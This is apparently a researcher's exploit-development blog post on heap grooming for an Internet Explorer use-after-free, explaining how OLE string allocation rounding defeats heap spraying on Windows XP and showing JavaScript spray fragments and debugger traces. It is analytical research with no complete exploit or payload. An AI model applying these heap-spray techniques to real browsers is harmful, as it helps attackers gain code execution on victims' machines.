Pray after
free and use after pray.
Ok, I’m long overdue on this post, I know. The reason I procrastinated
this so much was because the subject of this post was not important to the
exploit described in the first posts of the diary, but I consider that it might
be important on other exploits you might be creating. So here it is.
Let’s first review some history: the size of the exploitable
“use-after-free” CObjectElement object was 0xE0. Also, the heap allocator kept
all objects of the same size in the same heap sub-segment. So, all we needed to
do was to fill a full segment of any other kind of object as long as it had the
same size, and as soon as we tried to reuse the freed memory, an object of that
memory segment would the reused. This was done with the unescape and substr
javascript native functions where strings of that particular size, having
content controlled by us, were allocated. But javascript strings are handled by
OLE, so when we call:
var size1 = (0xd8/2)-3;
var arrSize1 = 2000;
var
obj_overwrite2 = unescape("%u0e0e");
while(obj_overwrite2.length
< size1)
{ obj_overwrite2 += obj_overwrite2; }
obj_overwrite2 = obj_overwrite2.substr(0,
size1);
We’re
internally calling OLE:
ChildEBP
RetAddr
01a5f694
41542d59 OLEAUT32!SysAllocStringByteLen+0x28
01a5f6ac
75c1d101 IEFRAME!Detour_SysAllocStringByteLen+0x13
01a5f6c4
75c15636 jscript!PvarAllocBstrByteLen+0x2a
01a5f734
75c15ff7 jscript!JsStrSubstrCore+0x176
01a5f754
75c241e5 jscript!JsStrSubstr+0x1b
01a5f78c
75c2145c jscript!NatFncObj::Call+0x41
This is important to keep in mind because of the transformations that
our strings are subjected to. These transformations were observed by Alex
Sotirov in his javascript Heap Library implementation and that’s the reason of
the initial calculations of the size1 variable. Divide by 2 to account for the
Unicode transformation, and subtract 3 to account for the added string metadata
info.
If you remember from take 2 of the diaries, I referred that a friend
of mine was unable to successfully run the exploit. Well, the reason of this is
that my friend was running Windows XP SP2 with Internet Explorer 8. Why is this
relevant? Because of the heap allocator type used by Internet Explorer in this
OS version, and the way OLE makes use of it. The old heap allocator mixes all
the allocations, leaving no memory chunks separation by segmentation usage. This
sounds better than LFH. But for this, we need a new approach; we need to be
able to manipulate the LAL lists. What about OLE? OLE maintains a global heap
variable in memory, but the heap used is the default process heap; the same as
mshtml.dll uses for object allocation, so we’re safe from the OLE point of view.
So, why is it still not working?
Figure 1: OLE heap global variable.
!heap
Index
Address Name Debugging options enabled
1: 00150000
2: 00250000
!heap 00150000
Index
Address Name Debugging options enabled
1: 00150000
Segment
at 00150000 to 00250000 (00100000 bytes committed)
Segment
at 01dd0000 to 01ed0000 (00100000 bytes committed)
Segment
at 028a0000 to 02aa0000 (00085000 bytes committed)
CObjectElement:addr[00237278]
CTreeNode:node[0024dc08]
CObjectElement:addr[00237278]
CTreeNode:node[0024d848]
CObjectElement:addr[00237278]
CTreeNode:node[0024db08]
CObjectElement:addr[00237278]
CTreeNode:node[0024dac8]
CTreeNode:node[0024dc08]
CTreeNode:node[0024d848]
CTreeNode:node[0024db08]
CTreeNode:node[0024dac8]
String:addr[01dd6fdc]size[000000d2]
String:addr[0023727c]size[000000d2]
String:addr[00237364]size[000000d2]
String:addr[0023744c]size[000000d2]
String:addr[00237534]size[000000d2]
String:addr[0023761c]size[000000d2]
String:addr[00237704]size[000000d2]
String:addr[002377ec]size[000000d2]
String:addr[029113cc]size[000000d2]
String:addr[0291176c]size[000000d2]
String:addr[02911854]size[000000d2]
String:addr[0291193c]size[000000d2]
String:addr[02922a04]size[00000006]
...
String:addr[01ec88cc]size[00000006]
String:addr[01ec85cc]size[00000006]
String:addr[001535ac]size[00000006]
String:addr[028a09f4]size[000001e6]
CTreeNode:node[0024d408]
CTreeNode:node[0024d708]
CObjectElement:addr[01ecf410]
CTreeNode:node[0024d8c8]
CObjectElement:addr[01ecf410]
CObjectElement:addr[02910f40]
CTreeNode:node[0024dc08]
CObjectElement:addr[02910f40]
In
the above (resumed) trace we’re allocating about 2000 strings, each sized 0xD8,
in Windows XP, and freeing the last 500 odd strings. If you’re wondering
why the size is printed 0xD2, keep reading. Notice the difference between the
CObjectElement object addresses and the allocated string addresses. The
CObjectElement object addresses get near but never reuse any of the string
freed addresses. It looks like the approach of allocating objects of the same
size as the freed object; to try to influence the LAL cache is useless. Being
so, this memory fence makes it very hard for the exploitation process, as the
heap spraying needs to be pretty disseminated thru the memory space. Why?
I noticed an interesting thing in my friend’s machine; the CObjectElement
is 0xD8 bytes in size:
Figure 2: Allocation of a CObjectElement in XP2
When OLE allocates a buffer for a string, it transforms the string
requested size. The following calculations are done by SysAllocStringByteLen in
Windows XP and by CbSysStringSize in Windows 7:
NewSize
= (RequestedSize+0x15) && 0xfffffff0
Figure 3: OLE buffer calculation in XP.
The result size that is going to be allocated by the heap manager thru
OLEAUT32!APP_DATA::AllocCachedMem, must be a multiple of 16. When performing
these calculations the requested size to OLE will correspond to our original
object size minus 6. Applying these constraints to our two buffer sizes we get:
Size=0xE0 -> RequestSize = 0xE0-6 = 0xDA;
(0xDA+0x15)&0xfffffff0 = 0xE0
Size=0xD8 -> RequestSize = 0xD8-6 = 0xD2; (0xD2+0x15)&0xfffffff0 = 0xE0
If
we need to create a string sized 0xD8, we would fail to do so as the next
nearest lower valid buffer size would be 0xD0. For the exploit, this is a
terrible thing. In Windows Vista and above, the exploit depends on the allocation
of memory chunks of the same size of our freed object, as it needs to land on
the same heap sub-segment for it to control the EIP reliably. If the strings
we’re creating are going to other sub-segments, all we can do is pray that
whatever value goes to our freed object address may resemble one of the various
heap sub-segment addresses available, filled with
controlled data strings.
Figure 4: OLE buffer calculation in Windows 7.
bp oleaut32!SysAllocStringByteLen
dc esp
022ccf60
6cb0a0b7 00000000 000000d2 00000000 ...l............
022ccf70 000000d2 6cb05b0f e65b365c 022cd364 .....[.l\6[.d.,.
pt
eax=004c2c0c
ebx=000000d2 ecx=779d2fe7 ..
eip=7759478e esp=022ccf48
ebp=022ccf5c ..
cs=001b
ss=0023 ds=0023 ..
OLEAUT32!SysAllocStringByteLen+0x6e:
7759478e c20800 ret 8
!heap -x 004c2c0c
Entry
User Heap Segment Size
PrevSize Unused Flags
-----------------------------------------------------------------------------
004c2c00 004c2c08
00400000 00484720 e8 - 8
LFH;busy
As a final example, let’s reduce the size of the string to 0xD0:
var size1 = (0xd0/2)-3;
And observe the size of the heap chunk:
String:addr[004a943c]size[000000ca]
!heap -x 004a943c
Entry
User Heap Segment Size
PrevSize Unused Flags
-----------------------------------------------------------------------------
004a9430 004a9438
003b0000 00432610 d8 - 8
LFH;busy
We’re jumping 16 bytes, which validates our findings. Alex Sotirov
also found this. If you search heapLib for allocOleaut32 function
implementation, you will find this:
// Make
sure that the size is valid
if
((size & 0xf) != 0)
throw "Allocation size " + size + " must be a multiple of 16";
In conclusion, the symptoms are easily identified, its behavior is
erratic. Sometimes it works, sometimes it doesn’t. And, as you can see, the
effort for phase one exploit is much greater and unpredictable. Hence, we
prefer to call it a “Use after pray” exploit instead.
Hope you enjoyed.